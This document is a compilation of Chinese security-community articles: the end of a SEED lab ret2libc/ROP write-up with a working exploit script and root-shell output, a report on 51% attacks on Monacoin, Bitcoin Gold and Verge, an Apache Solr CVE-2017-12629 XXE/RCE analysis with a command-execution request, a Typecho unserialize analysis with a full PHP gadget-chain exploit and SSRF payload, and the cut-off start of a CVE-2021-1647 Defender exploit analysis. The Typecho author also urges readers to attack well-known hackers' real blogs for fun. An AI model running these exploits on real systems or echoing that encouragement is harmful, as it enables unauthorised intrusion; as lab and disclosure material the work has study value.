content[X:X+4] = (sh_addr).to_bytes(4,byteorder='little')
Z = 0x1c+4
exit_addr = 0xf7e03f80 # The address of exit()
content[Z:Z+4] = (exit_addr).to_bytes(4,byteorder='little')
Y = 0x1c
system_addr = 0xf7e11420 # The address of system()
content[Y:Y+4] = (system_addr).to_bytes(4,byteorder='little')
# Save content to a file
with open("badfile", "wb") as f:
f.write(content)
运行脚本可以生成攻击的badfile，再运行retlib程序，可以拿到root权限:
$ ./exploit.py
$ ./retlib
Address of input[] inside main(): 0xffffc050
Input size: 299
Address of buffer[] inside bof(): 0xffffc020
Frame Pointer value inside bof(): 0xffffc038
# id
uid=1000(vam) gid=1000(vam) euid=0(root) groups=1000(vam),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),120(lpadmin),131(lxd),132(sambashare),133(docker)
## ROP(Return-Oriented Programming) 实验
### 实验设置
在retlib的基础上，实验恢复了”/bin/sh”指向”/bin/dash”软连接:
sudo ln -sf /bin/dash /bin/sh
system()函数在运行的时候，会先调用”/bin/sh”指向的程序(也就是”/bin/dash”)，再通过”/bin/dash”执行其他程序。而在Set-UID的进程中执行”/bin/dash”的时候，它会先drop掉Set-UID权限。如果使用retlibc的攻击方法，我们只能拿到一个没有root权限的shell:
$ ./retlib
Address of input[] inside main(): 0xffffc050
Input size: 299
Address of buffer[] inside bof(): 0xffffc020
Frame Pointer value inside bof(): 0xffffc038
$ id
uid=1000(vam) gid=1000(vam) groups=1000(vam),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),120(lpadmin),131(lxd),132(sambashare),133(docker)
这时候应该怎么绕过呢？ Seedlab文档给出了两种思路:
* 把返回地址改成execv()，并设置execv的参数运行”/bin/bash -p”。使用了“-p”参数后，Set-UID权限不会被drop掉。
* ROP: 在调用system之前， 先控制执行流执行setuid(0)把进程的user ID设置成0，也就是变成了一个root用户的程序。执行system(“/bin/sh”)的时候，即使drop掉了Set-UID权限，也能获得root的shell。
第一种思路是seedlab ret2lib实验的task4, 文档中有详细的教程, 这里不再赘述。
第二种思路通过构造ROP链攻击，文档有所提及，但没有给出简单优雅的攻击实现，所以下面分享一下我的ROP攻击的实现思路。
### ROP攻击方法
首先，我们要在函数bof的栈上构造一个ROP链：
Higher Address
-------------------------- address of "/bin/sh"
-------------------------- exit address
-------------------------- (C)
system address
-------------------------- (B)
0
-------------------------- (A) Argument 1 address of setuid(): 0xffffc044
address of "pop xxx; ret"
-------------------------- setuid address
-------------------------- Stack address of return address: 0xffffc03c
xxxx
-------------------------- Frame Pointer: 0xffffc038
xxxxx
xxxxx
.....
-------------------------- Address of buffer[]: 0xffffc020
Lower Address
如果能把bof的栈构造成这种上图，bof返回时，会先执行setuid(0)。 setuid执行完毕后，会执行ret指令，弹出”pop xxx;
ret”的地址，并将”pop xxx; ret”赋给eip，此时esp的地址在(A)处。执行”pop xxx”
会弹出0，esp指向(B)；再执行ret，eip会变成system的地址，从而执行system(“/bin/sh”)。
可是，如何寻找”pop xxx; ret”这样的代码片段呢？ 我们可以用objdump来反汇编:
objdump -d retlib > ass.txt
less ass.txt
在ass.txt中，很容易发现各种符合我们要求的gadgets，比如：
Gadget A
1442: 5b pop %ebx
1443: c3 ret
0x1442 + retlib代码段的起始地址，就是Gadget A在程序中的地址。
代码段的地址可以用peda的`vmmap`命令看到:
gdb-peda$ vmmap
Start End Perm Name
0x56555000 0x56556000 r--p /home/vam/cs_lab1/Ret2Libc/retlib
0x56556000 0x56557000 r-xp /home/vam/cs_lab1/Ret2Libc/retlib
0x56557000 0x56558000 r--p /home/vam/cs_lab1/Ret2Libc/retlib
0x56558000 0x56559000 r--p /home/vam/cs_lab1/Ret2Libc/retlib
0x56559000 0x5655a000 rw-p /home/vam/cs_lab1/Ret2Libc/retlib
0xf7dcc000 0xf7de9000 r--p /usr/lib32/libc-2.31.so
0xf7de9000 0xf7f41000 r-xp /usr/lib32/libc-2.31.so
0xf7f41000 0xf7fb1000 r--p /usr/lib32/libc-2.31.so
0xf7fb1000 0xf7fb3000 r--p /usr/lib32/libc-2.31.so
0xf7fb3000 0xf7fb5000 rw-p /usr/lib32/libc-2.31.so
0xf7fb5000 0xf7fb7000 rw-p mapped
0xf7fc9000 0xf7fcb000 rw-p mapped
0xf7fcb000 0xf7fcf000 r--p [vvar]
0xf7fcf000 0xf7fd1000 r-xp [vdso]
0xf7fd1000 0xf7fd2000 r--p /usr/lib32/ld-2.31.so
0xf7fd2000 0xf7ff0000 r-xp /usr/lib32/ld-2.31.so
0xf7ff0000 0xf7ffb000 r--p /usr/lib32/ld-2.31.so
0xf7ffc000 0xf7ffd000 r--p /usr/lib32/ld-2.31.so
0xf7ffd000 0xf7ffe000 rw-p /usr/lib32/ld-2.31.so
0xfffdc000 0xffffe000 rw-p [stack]
因此，”pop %ebx; ret” 的地址为: 0x1442 + 0x56555000。
到目前为止，一切看起来都很美好。然而，setuid的参数是0，
它是一个int类型的整数，用字符串表示为”\x00\x00\x00\x00”，当strcpy()遇到’\x00’后，会停止拷贝。因此，我们没办法把完整的ROP链拷贝到bof函数的上面。
如何绕过strcpy对与’\x00’的限制呢？
一种方法是栈溢出之后，先执行read()函数，从标准输入中获取新的输入，然后写到栈上。read()没有’\x00’结束的限制，因此它可以写入任意的值。这种方法也是有问题的，由于read()函数需要给fd赋值(read(fd,
buffer, size))，而fd是一个int类型的数字，它一般比较小，高位一定会含有’\x00’。
seedlab给出了另一种使用sprintf()函数的方法，但这种方法比较复杂，文档中也有提到：
The method is quite complicated and takes 15 pages to explain in the SEED book.
下面介绍一种比较简洁的思路。
尽管ROP链不能被完整地拷贝到bof()的栈上面，但main函数的input[]中有一个备份：
int length = fread(input, sizeof(char), 1000, badfile);
如果我们能把栈(也就是esp)指向input[]相应的位置，就能够顺利地执行ROP的程序流。
可是如何修改esp呢？我们需要在程序反汇编的结果中找另外的gadgets，利用这些gadgets的组合，来让esp指向input[]的地址。
我们很幸运，在反汇编的结果中，发现了这样的gadgtes:
Gadget B:
13a5: 59 pop %ecx
13a6: 5b pop %ebx
13a7: 5d pop %ebp
13a8: 8d 61 fc lea -0x4(%ecx),%esp
13ab: c3 ret
Gadget B可以先从栈上pop一个值给%ecx，然后把 %ecx – 4 赋给%esp，最后ret会从栈上取返回地址返回。而栈是被我们控制的
。%ecx和ret的返回地址也都可以不是0，这就绕过了strcpy在’\x00’结束的限制。
根据上面的分析，我们可以构造如下ROP链：
Higher Address
-------------------------- address of "/bin/sh"
-------------------------- exit address
-------------------------- system address
--------------------------(D - rop in input[])
0
-------------------------- Gadget A
--------------------------(C - rop in input[])
setuid address
--------------------------(B - rop in input[])
xxxxx
-------------------------- xxxxx
-------------------------- new stack address in input
-------------------------- Gadget B
--------------------------(A - rop in buffer[])
xxxxx
xxxxx
.....
-------------------------- Lower Address
栈溢出后，先执行gadget B(位置A, 在buffer的rop链中):
* pop %ecx 把新栈顶+4的位置给%ecx
* lea -0x4(%ecx),%esp 把新栈顶给%esp
* ret 返回到当前栈顶指向的地址(位置B, 在input的rop链中)
之后，程序会依次执行setuid(0), Gadget A, system(“/bin/sh”), 拿到有root权限的shell。
根据上述分析，实现攻击脚本如下：
#!/usr/bin/env python3
import sys
content = bytearray(0xaa for i in range(300))
process_code = 0x56555000
pop_ret_addr = 0x1442 + process_code # Gadget A
pop_lea_addr = 0x13a5 + process_code # Gadget B
system_addr = 0xf7e11420
exit_addr = 0xf7e03f80
setuid_addr = 0xf7e98e30
main_buffer = 0xffffc050
main_buffer_addr = main_buffer+ 0x1c + 4*5
pay = 0xdeedbeef
sh_addr = main_buffer + 0x100
chain = [pop_lea_addr, main_buffer_addr, pay, pay, setuid_addr, pop_ret_addr, 0, system_addr, exit_addr, sh_addr]
start = 0x1c
for i in range(len(chain)):
content[start+i*4: start+i*4+4] = (chain[i]).to_bytes(4,byteorder='little')
content[0x100:0x100+8] = b"/bin/sh\x00"
# Save content to a file
with open("badfile", "wb") as f:
f.write(content)
运行脚本之后生成badfile之后，可以获得有root权限的shell:
$ python3 exploit.py
$ ./retlib
Address of input[] inside main(): 0xffffc050
Input size: 300
Address of buffer[] inside bof(): 0xffffc020
Frame Pointer value inside bof(): 0xffffc038
# id
uid=0(root) gid=1000(vam) groups=1000(vam),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),120(lpadmin),131(lxd),132(sambashare),133(docker)
(本篇完) | 社区文章 |
作者：umiiii
来源：<http://www.freebuf.com/articles/blockchain-articles/173022.html>
很多人可能早就听说过 51%
算力攻击，但更多的可能源于各种媒体渠道中“比特币的缺陷”文章之流。实际上，这个说法并不准确，根据比特币百科上所描述，这种攻击被称为多数人的攻击（[Majority
attack](https://en.bitcoin.it/wiki/Majority_attack "Majority
attack")），攻击者在控制全网较多算力时，他将可以做这些事情：
1. 逆转已发出的交易，也就是双花交易；
2. 阻止其他交易的确认；
3. 阻止其他块的挖出。
并且在攻击者控制全网大于50%算力时，攻击的成功率将达到100%，而当攻击者拥有40%算力，在需要6个确认的情况下，攻击的成功率为50%。近期有三个币种分别在不同程度上遭到了
51% 算力攻击，分别是 MonaCoin, Bitcoin Gold 和 Verge ，很碰巧的是，这三个币种都不同程度地分叉自比特币。
下面将分别介绍三种货币的攻击详情。
#### 一、Monacoin
5月18日，Reddit 网友发帖称 Monacoin 遭受了 51%算力攻击、自私挖矿攻击与时间戳攻击，确切时间发生在5月13日至5月15日 一些支持
Monacoin 交易的交易所，比如 Bittrex, Livecoin 已经关闭了 Monacoin 的充值。行为描述：
##### 自私挖矿攻击 ( Selfish mining）
根据 Vitalik
Buterin（就是发布了以太坊的那个俄罗斯小伙）在2013年11月4日发布的文章称，比特币网络存在一种自私挖矿攻击，能让矿工在理论条件上获得更高的收益。首先，由于比特币网络的规则，每个（诚实的）节点只能挖并且传播它看到的第一个块，这就是说，如果节点当前有一个块正在挖，而收到了别人广播的已成功挖到的同一高度的块，那么该节点将立即放弃正在挖的这个块并继续跟随新的块后面挖掘。自私挖矿攻击中，当恶意矿工挖到了一个新的块
B1，不立即广播，而是接着这个块挖下一个块 B2。在这期间如果别人挖出来了，就马上广播 B1
到全网，如果挖出了第二个，那就直接广播出去，这样恶意矿工的收益就是连续两个块，而别人颗粒无收，由于这种攻击需要攻击者拥有25%以上的算力才能将数学期望拉高到与正常挖矿相同或者更高，所以这次攻击同时也采用了这种行为。
##### 双花攻击
攻击者在公链中签名并广播一笔交易发送 Monacoin 到交易所，并同时在自己的私有链上广播一个将 Monacoin
发送到自己钱包的交易，然后使用大量算力挖掘私有链，当交易所确认存款后，立即广播私有链。由于攻击者拥有大量算力，私有链长度总是比共有链长，所以最后那些发往交易所的
Monacoin 被回滚了。
##### 出块变得异常的快
这可能是由于 Monacoin 的异常难度处理机制导致的，攻击者在短时间内挖出了大量的块，远远大于原来的1.5分钟出块时间。
##### 总结
攻击者将可以回滚充值到交易所的 Monacoin，并且掠取那些原来是诚实矿工的奖励，此次攻击导致约导致 90000 美元的损失。
##### 解决方案
Monacoin 的官方开发组建议，将入账次数提高为 100 个确认数。
#### 二、Bitcoin Gold
5月18日，Bitcoin Gold 交流社区中，MentalNomad 发文称有人在尝试进行针对交易所的双花攻击。
攻击时间为 高度 528735， 5 月 16 日 10:37:54 UTC 到 高度 529048，5 月 19 日 5:25:40 UTC。
##### 双花攻击
攻击者的两个钱包：
资金钱包 GTNjvCGssb2rbLnDV1xxsHmunQdvXnY2Ft
挖矿钱包 GXXjRkdquAkyHeJ6ReW3v4FY3QbgPfugTx
与 Monacoin 类似的，Bitcoin Gold
中攻击者也将这笔交易同时发给交易所和自己，并成功将自己的私链变成最长链，从而使得这条链重新变为公链。值得注意的是，有一笔经过了 22
个确认的交易被成功地双花攻击了。
##### 总结
本次攻击据不完全统计损失了 388,201 个BTG，约为 1860 万美元，创始人称已向FBI报案。
##### 解决方案
Bitcoin Gold的开发组称，正在开发新的 PoW 算法以替代原有的 Equihash
算法，他们认为，攻击的原因之一是因为显卡矿机的算力可以被短时间地集中。
攻击者的链
被逆转的链
被逆转的链长度为22
攻击者自己的链
攻击者向自己的钱包发送了一笔交易，这笔交易回滚了原来向交易所充值的交易
#### 三、Verge
自从 Verge 在4月4日被爆出遭到 51%
攻击后，开发组已经紧急更新修复了时间戳攻击加上51%算力攻击导致算力下降的漏洞。（详细分析请看站内文章：<http://www.freebuf.com/column/169210.html>
）然而，攻击者在5月22日发现了一种新的利用方法——反复横跳。
##### 行为描述
攻击者将4月4日原有攻击的模式（修改时间戳+算力攻击）改为交替使用两种算法 Scrypt 与 Lyra2re 来重复之前的攻击。Verge
的难度再次变为几乎为 0 。
骤然降低的算力
##### 总结
受攻击的区块为 2155850 到 2206272，所有块收益 36808060 XVG 都发给了攻击者，大约为 1525252 美元。
##### 解决方案
开发组将 2218500 块后的时间间隔调整为 10 分钟。
从上面这些攻击中，我们不难发现，针对这些 PoW
工作量证明进行挖矿的数字货币，攻击者可能已经有一套自己的攻击体系。然而，这些攻击的实施都需要大量的算力与成本，有理由相信，攻击者有一个庞大的团队，并且做了非常充分的准备，路线规划与方案实施。
所以，笔者大胆预测，近期发生的攻击只是试水。在未来攻击者将会使用相同的方法进行更多的攻击。由于去年12月火爆的数字货币市场诞生的比特币分叉币们由于缺乏算力与技术支持，将可能更快地遭到
51%
算力攻击。一旦遭到攻击，币价必然大幅下降，算力见无力可图必然会撤离，最后导致攻击者更加容易地攻击这个币种，这种恶性循环会使得该虚拟货币迅速归零。可以预见的是，在未来，运用其他共识的币种，比如
PoS 或者 DPoS 必然也会遭受到类似的攻击，一旦有人开了先例，见到有利可图的后来者必定蜂拥而上。因此，区块链安全值得大家关心。
* * * | 社区文章 |
作者：[Urahara](http://reverse-tcp.xyz/2017/10/24/CVE-2017-12629-Apache-Solr-XXE-&-RCE-Analysis/ "Urahara")
### Versions Affected
Apache Solr before 7.1.0 with Apache Lucene before 7.1
Elasticsearch, although it uses Lucene, is NOT vulnerable to this.
### Description
Apache Solr 是一个开源的搜索服务器。Solr 使用 Java 语言开发，主要基于 HTTP 和 Apache Lucene
实现。原理大致是文档通过Http利用XML加到一个搜索集合中。查询该集合也是通过
http收到一个XML/JSON响应来实现。此次7.1.0之前版本总共爆出两个漏洞：XML实体扩展漏洞（XXE）和远程命令执行漏洞（RCE）。
### First Vulnerability: XML External Entity Expansion
##### Test Environment
Linux Ubuntu server x64
Apache Solr 7.0.1 (https://mirrors.tuna.tsinghua.edu.cn/apache/lucene/solr/7.0.1/)
Java SE Development Kit 8 (http://www.oracle.com/technetwork/java/javase/downloads/jdk8-downloads-2133151.html)
**1\. 启动Solr**
Solr不需要额外安装，解压安装包即可，通过bin/solr目录来启动
`$ bin/solr start`
如果在Windows平台，可以这样启动：
`bin\solr.cmd start`
这样就可以在后台启动Solr，并监听8983端口，启动脚本会检查启动的正确性并返回提示信息到控制台。这时就可以通过浏览器来访问管理控制台(http://localhost:8983/solr/)。
**2\. 创建Core**
如果没有使用示例配置，为了能够建立索引和查询，这里必须创建一个Core
$ bin/solr create -c Urahara # Urahara为你要创建的Core的名称
这会使用data-driven schema创建一个core，会尝试根据添加的文档来确定类型建立索引。
查看所有创建新core的选项：
$ bin/solr create -help
**3\. 添加文档**
这时候Solr中还是空的，我们需要添加一些文档以便进行索引。在example/目录的子目录下有不同的类型。
在bin/目录下有一个发送脚本，是一个命令行工具，可以索引不同的文档。现在不需要关心太多细节。索引部分的所有细节都在The Indexing and
Basic Data Operations部分。
要查看有关bin/post的有关信息，使用-help选项。Windows用户可以参考bin/post工具的Windows部分。bin/post可以发送各种数据类型到Solr，包括原生的XML和JSON格式、CSV文件，丰富的文档目录树，甚至是抓取的简单网页。
继续，根据示例XML文件添加所有文档：
完成上述操作Solr就已经为这些文档建立索引并包含在这些文件中。
现在，我们有了索引文档可以执行查询。比如下面在所有文档中查询video
##### Vulnerability Analysis
这是一个典型XXE漏洞的缺陷编码示例，Lucene包含了一个查询解析器支持XML格式进行数据查询，出现问题的代码片段在`/solr/src/lucene/queryparser/src/java/org/apache/lucene/queryparser/xml/CoreParser.java`文件中
通过查看调用栈中的数据处理流程，在调用lucene xml解析器时确实没有对DTD和外部实体进行禁用处理，造成了Blind XXE。
### Second Vulnerability: Remote Code Execution
依据漏洞作者所披露的漏洞细节来看，RCE需要使用到SolrCloud Collections API，所以RCE只影响Solrcloud分布式系统。
##### Test Environment
Linux Ubuntu server x64
Apache Solr 7.0.1 (https://mirrors.tuna.tsinghua.edu.cn/apache/lucene/solr/7.0.1/)
Java SE Development Kit 8 (http://www.oracle.com/technetwork/java/javase/downloads/jdk8-downloads-2133151.html)
Zookeeper 3.4.6 (http://mirror.bit.edu.cn/apache/zookeeper/)
这里我搭建了单节点伪分布式SolrCloud进行漏洞复现和调试
**1\. 启动Zookeeper**
在ZooKeeper目录创建data目录，用来作为单个ZooKeeper节点的存储目录，在该目录下建立一个myid文件`echo 1 >
data/myid`
打开conf/zoo.cfg文件，进行如下修改:
dataDir修改为data的路径，并在文件末尾加上如下配置`server.1=localhost:2287:3387`
通过`bin/zkServer.sh start ./conf/zoo.cfg` 启动Zookeeper服务
**2\. 启动Solr**
启动Solr时需要与Zookeeper端口对应
bin/solr start -p 8983 -f -a "-DzkHost=localhost:2181"
至此，我们已完成了SolrCloud的伪分布式搭建
##### Vulnerability Analysis
RunExecutableListener类中使用了`Runtime.getRuntime().exec()`方法，可用于在某些特定事件中执行任意命令
使用了config API传入add-listener命令即可调用RunExecutableListener
POST /solr/newcollection/config HTTP/1.1
Host: localhost:8983
Connection: close
Content-Type: application/json
Content-Length: 198
{
"add-listener" : {
"event":"postCommit",
"name":"newlistener",
"class":"solr.RunExecutableListener",
"exe":"curl",
"dir":"/usr/bin/",
"args":["http://127.0.0.1:8080"]
}
}
而这里的“exe”，“dir”，“args”内容也都可以通过http的方式传入，所以在没有访问控制的情况下任何人都可以通过该config API
达到任意命令执行的操作
通过查看代码，能够触发命令执行的事件有两个：`postCommit` 和 `newSearcher`
使用postCommit时，需要使用update进行collection更新后命令才会执行，因此需要两次进行请求
而使用newSearcher时可直接执行命令
### Solution
1.添加Solr访问控制，包括禁止本地直接未授权访问
2.升级版本至7.1，该版本已经解决了XML解析问题并删除了RunExecutableListener类
3.针对XXE可手动修改CoreParser.java文件，按照通常防止基于DOM解析产生XXE的防范方法修复即可
static Document parseXML(InputStream pXmlFile) throws ParserException {
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder db = null;
try {
//protect from XXE attacks
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
db = dbf.newDocumentBuilder();
}
catch (Exception se) {
throw new ParserException("XML Parser configuration error", se);
}
org.w3c.dom.Document doc = null;
try {
doc = db.parse(pXmlFile);
}
4.针对RCE问题，由于涉及的是SolrCloud所以建议在所有节点中添加filter，进行相关过滤
### Reference
* <http://lucene.472066.n3.nabble.com/Re-Several-critical-vulnerabilities-discovered-in-Apache-Solr-XXE-amp-RCE-td4358308.html>
* <http://seclists.org/oss-sec/2017/q4/79>
* * * | 社区文章 |
* * *
title: typecho 事件始末
date: 2017-10-13
categories: web
## tags: [php,web]
仓促成文，睡觉。
## 引子
打码打码打码打码打码打码打码打码打码打码打码打码打码打码打码打码打码，我十一在家陪妹子实在是没事干，就抽了个晚上审了一下typecho，首先发现的一个洞是一个ssrf，由于我手贱打了一下xxxx一位老铁的博客，被他waf抓下来了（打码打码打码打码打码打码打码打码打码打码打码打码，可能临时写的针对性waf），然后今天就被放出来了。。。。这个不重要，先放payload出来，没啥好分析的：
POST /index.php/action/xmlrpc HTTP/1.1
Host: 127.0.0.1
Upgrade-Insecure-Requests: 1
User-Agent: xxxx
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://127.0.0.1
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 178
<?xml version="1.0"?>
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://xxxxxx/</string></value></param>
</params></methodCall>
然后昨天的时候，tomato师父说，打码打码打码打码打码打码打码打码打码打码打码打码打码打码。我觉得这个也不是不能搞，并且我十一审代码的时候，发现了代码中有处极其奇怪的地方，但是由于不能在打码打码打码打码打码打码打码打码打码打码打码打码打码打码打码，发现这个问题可能可以利用，就深入看了眼，没想到追查出一个他们核心开发者在其中放置的后门。
## install.php
install.php在安装后不会默认删除，我们查看其中的逻辑分支会看到这样一段代码：
<?php if (isset($_GET['finish'])) : ?>
<?php if (!@file_exists(__TYPECHO_ROOT_DIR__ . '/config.inc.php')) : ?>
......
<?php elseif (!Typecho_Cookie::get('__typecho_config')): ?>
......
<?php else : ?>
<?php
$config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
Typecho_Cookie::delete('__typecho_config');
$db = new Typecho_Db($config['adapter'], $config['prefix']);
$db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE);
Typecho_Db::set($db);
?>
这段代码只要你设置了正确的referer，然后加上一个finish参数就可以进入到这个分支中，他会直接反序列化cookie中传入的一个值，然后进行一些db初始化操作，但是这个初始化操作实际上没有任何一丁点作用，所以这里有这段代码本身就非常奇怪，但是当时分析的时候我没想这么多，既然这里可以直接反序列化我们的输入，我们就看下能否制造一个rop链出来，达到一些有危害的操作。
## rop
我们首先进入Typecho_Db的构造函数看一眼他会对$config做什么处理：
public function __construct($adapterName, $prefix = 'typecho_')
{
/** 获取适配器名称 */
$this->_adapterName = $adapterName;
/** 数据库适配器 */
$adapterName = 'Typecho_Db_Adapter_' . $adapterName;
我们发现第一个参数经过了拼接，所以会自动调用 `__tostring`这个魔术方法，然后我们找一些含有`__tostring`的类，这里我们找到`class
Typecho_Feed`
他的`__tostring`方法有些复杂，但是不难从中看出他在358行，执行了这样一段代码：
<name>' . $item['author']->screenName . '</name>
其中$item是我们可以通过对象注入直接控制的。
那么从这行代码出发，我们进而就可以调用`__get`这个魔术方法，继续寻找含有`__get`的gadget，我们找到了`class
Typecho_Request`
他的`__get`方法会调用自身的 get 方法：
public function get($key, $default = NULL)
{
switch (true) {
case isset($this->_params[$key]):
$value = $this->_params[$key];
break;
case isset(self::$_httpParams[$key]):
$value = self::$_httpParams[$key];
break;
default:
$value = $default;
break;
}
$value = !is_array($value) && strlen($value) > 0 ? $value : $default;
return $this->_applyFilter($value);
}
get方法在为$value赋值并检查其类型后，会调用自身`_applyFilter`方法，然后继续往深处跟：
private function _applyFilter($value)
{
if ($this->_filter) {
foreach ($this->_filter as $filter) {
$value = is_array($value) ? array_map($filter, $value) :
call_user_func($filter, $value);
}
$this->_filter = array();
}
return $value;
}
在`_applyFilter`方法中我们最终发现了一个可以代码执行的地方：
`call_user_func($filter, $value);`
此处的两个参数都是我们可以控制的，这里我们的rop已经初步构造完成。
## 解决一些小问题
在 install.php 的开头部分调用了程序调用了 ob_start(); ，而我们的对象注入操作必定会触发代码中定义的 exception：
public static function exceptionHandle(Exception $exception)
{
@ob_end_clean();
if (defined('__TYPECHO_DEBUG__')) {
echo '<h1>' . $exception->getMessage() . '</h1>';
echo nl2br($exception->__toString());
} else {
if (404 == $exception->getCode() && !empty(self::$exceptionHandle)) {
$handleClass = self::$exceptionHandle;
new $handleClass($exception);
} else {
self::error($exception);
}
}
exit;
}
这样他会在处理异常时调用ob_end_clean，这样我们就算执行了代码，也无法拿到输出。
注意，最后调用`call_user_func`的时候，是一个循环，我们在一次运行中去调用多个函数，甚至实例的某个方法，因为他没有限制传入的$filter是不是一个数组。这样我们只要找到一个类方法，其中含有exit，那么就可以直接让程序退出并输出缓冲区中的内容。这样的类很多，这里我选择了`Typecho_Response`的`redirect`方法，这样经过4个gadget，我们的exp基本可以通杀了（其实还可以再加两个绕gadget过更多限制，这里留给大家研究）。
<?php
class Typecho_Response{}
class Typecho_Request
{
private $_params = array();
private $_filter = array();
public function __construct(){
$this->_params['screenName']=-1;
$this->_filter[0]='phpinfo';
$x = new Typecho_Response;
$this->_filter[1]=array($x,'redirect' );
}
}
class Typecho_Feed
{
const RSS1 = 'RSS 1.0';
/** 定义RSS 2.0类型 */
const RSS2 = 'RSS 2.0';
/** 定义ATOM 1.0类型 */
const ATOM1 = 'ATOM 1.0';
/** 定义RSS时间格式 */
const DATE_RFC822 = 'r';
/** 定义ATOM时间格式 */
const DATE_W3CDTF = 'c';
/** 定义行结束符 */
const EOL = "\n";
private $_type;
private $_items = array();
public $dateFormat;
public function __construct(){
$this->_type=self::RSS2;
$item['link']='1';
$item['title']='2';
$item['date']=1507720298;
$item['author']= new Typecho_Request();
$this->_items[0]=$item;
}
}
$x=new Typecho_Feed();
$a=array(
'host' => 'localhost',
'user' => 'root',
'charset' => 'utf8',
'port' => '3306',
'database' => 'typecho',
'adapter'=>$x,
'prefix'=>'typecho_'
);
echo serialize($a);
echo "\n";
echo urlencode(base64_encode(serialize($a)));
?>
## backdoor？
写完exp后，我回过头去查看最开始的漏洞入口，我发现这段代码其实放在这里没有任何合理性，尽管他的代码风格和下面的很像，但是他在这里起不到任何作用，然后ph师父说，typecho有github维护，然后我们就去查了他的commit记录：
commit 23b87aeb ，祁宁在 2014-04-08 22:43:32
点提交，这里我俩就开始疑惑，既然14年就有这段代码，那为啥ph师父的旧版本上没有，新版本上反而有了呢，我们看了下这个commit的详情：
我们发现 祁宁 其实就是 joyqi，而joyqi是typecho的核心开发者，他把这段代码在 2014-04-08 写好后直接提交在了master中，查看
v0.9-14.5.25
的releases，其中已经包含了这段代码，也就是说，这段代码形似后门的代码由核心开发者提交后，存在了三年半的时间，都没有任何人发现。。。。
那么究竟是谁添加的这段鸡儿用没有，但是谁都看不出来的代码呢。。。。。可能是14年的时候 joyqi
对账号被人黑掉了吧，也或许，这真的是开发者的一时手滑。细思恐极。
## 乐呵一下
圈内有几位知名的黑客大佬的博客是用typecho的，打了一下，还是可以搞的，大家也可以打一打乐呵一下。
大哥抽烟.jpg | 社区文章 |
# 浅析 CVE-2021-1647 的漏洞利用技巧
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 概要
近期爆出的 CVE-2021-1647 是 Windows Defender MpEngine 模块中的一处 rce
漏洞，本文旨在从漏洞利用层面对相关样本所使用的技巧进行分析，笔者使用的样本哈希为：6e1e9fa0334d8f1f5d0e3a160ba65441f0656d1f1c99f8a9f1ae4b1b1bf7d788。
## 漏洞原理
Windows Defender
采用模拟执行的策略，对可执行文件进行黑白判定，模拟执行分为以下两个层面：指令模拟和运行环境模拟。指令模拟部分负责将相应平台指令（包括 arm/x86/x64
等）转为中间指令（IL），然后通过 jit/ 解释执行的方式运行相应的中间指令；运行环境模拟则包括内存系统模拟/文件系统模拟/api 模拟/DLL 模拟（与
MpEngine.dll 同目录的 vdm 文件是 dll 模拟文件的压缩集合），在指令模拟执行的过程中，碰到压缩壳的情况，defender
也会模拟解压过程（详见 UnpackerContext::Unpack 函数)，当前 defender
支持的压缩方式有：Upxw64/Upxw/WExtract/NSPacker/Shrinker/PECompact2/Area51/Crypter1337/Aspack/PKLite/SfxCab/Asprotect
等。本次漏洞出现在 Asprotect
模拟解压过程中（CAsprotectDLLAndVersion::RetrieveVersionInfoAndCreateObjects 函数）：
上图中，v2+28 代表一个 section 数组的开始，该数组包含四个元素，每个 section 元素 8 字节，前 4 字节用于描述该 section
的虚拟地址，后四个字节用于描述该 section 的大小，上图描述的是这样一个过程：遍历一个包含 4 项的 section 数组，最后获得一个
sectionva 和 sectionsize，申请一片大小为 sectionva+sectionsize 的内存用于存储解压后的 section
内容，但其在计算 sectionva 和 sectionsize 时存在错误，代码中只考虑了 section[i+1].va>section[i].va
的情况，但并没有考虑两者相等的情况，倘若 section
数组中四个元素的值如下：[0,0]，[0,0]，[0x2000,0]，[0x2000,0x3000]，按照上述代码的逻辑最终
sectionva=0x2000，sectionsize=0，那最终申请的内存大小为 0x2000+0=0x2000，因此在解压最后一个 section
时，由于其大小为 0x3000，这样便会产生堆溢出问题，这便是本漏洞的产生根源。
## 利用技巧
### **1\. 确定版本偏移**
在样本开头处调用了如下函数：
在刚开始分析该样本时，笔者以为该处地址是 defender 中某个未开启 ASLR
模块的地址或是类似于利用异常处理进行反调试的措施，但其实这时笔者犯了一个巨大的错误，要明确的一点是，当样本在被 defender
模拟执行时，一切内存地址并不是真实的 host 上的地址，而是 defender 模拟内存空间中的一个地址，也就是说 0x7c96c654 其实是
defender 模拟内存空间中的一段地址，该地址其实对应于模拟 dll 模块 –ntdll.dll（模拟的 ntdll.dll 可以通过解压与
mpengine.dll 同目录的 mpasbase.vdm 获得）中的一段代码：
注意看函数最后两个字节：0xf 0xff，这两个字节说明这是一个 native api 调用，其后的四个字节 0x9E9EFDF0 是用于标识最终
native api 函数的一个 crc 校验码，所谓的 native api 即是有 mpengine.dll 提供的一系列功能 api，最终该函数会由
mpengine!NTDLL_DLL_NtControlChannel 实现，也就是说样本中 call 7C96C654 其实最终是调用
mpengine!NTDLL_DLL_NtControlChannel 完成功能，该函数第一个参数代表功能号，样本中的 3 代表的是获取 defender
版本信息，样本就是通过该函数获取版本信息，然后根据不同的版本信息硬编码关键偏移。
### **2\. 内存占位/修改关键字段**
在样本中包含了大量的 SuspendThread 和 ResumeThread
的调用代码，这部分代码其实是用来进行内存布局和占位的，在堆溢出发生后，会修改布局在堆内存后的 lfind 对象，lfind 对象中的两个关键字段分别被修改为
2f9b 和 2f9c（原始值为 107e 和 107f），这两个字段在 lfind_switch::switch_in（在模拟执行
ResumeThread 函数时会触发该函数调用）函数中被引用：
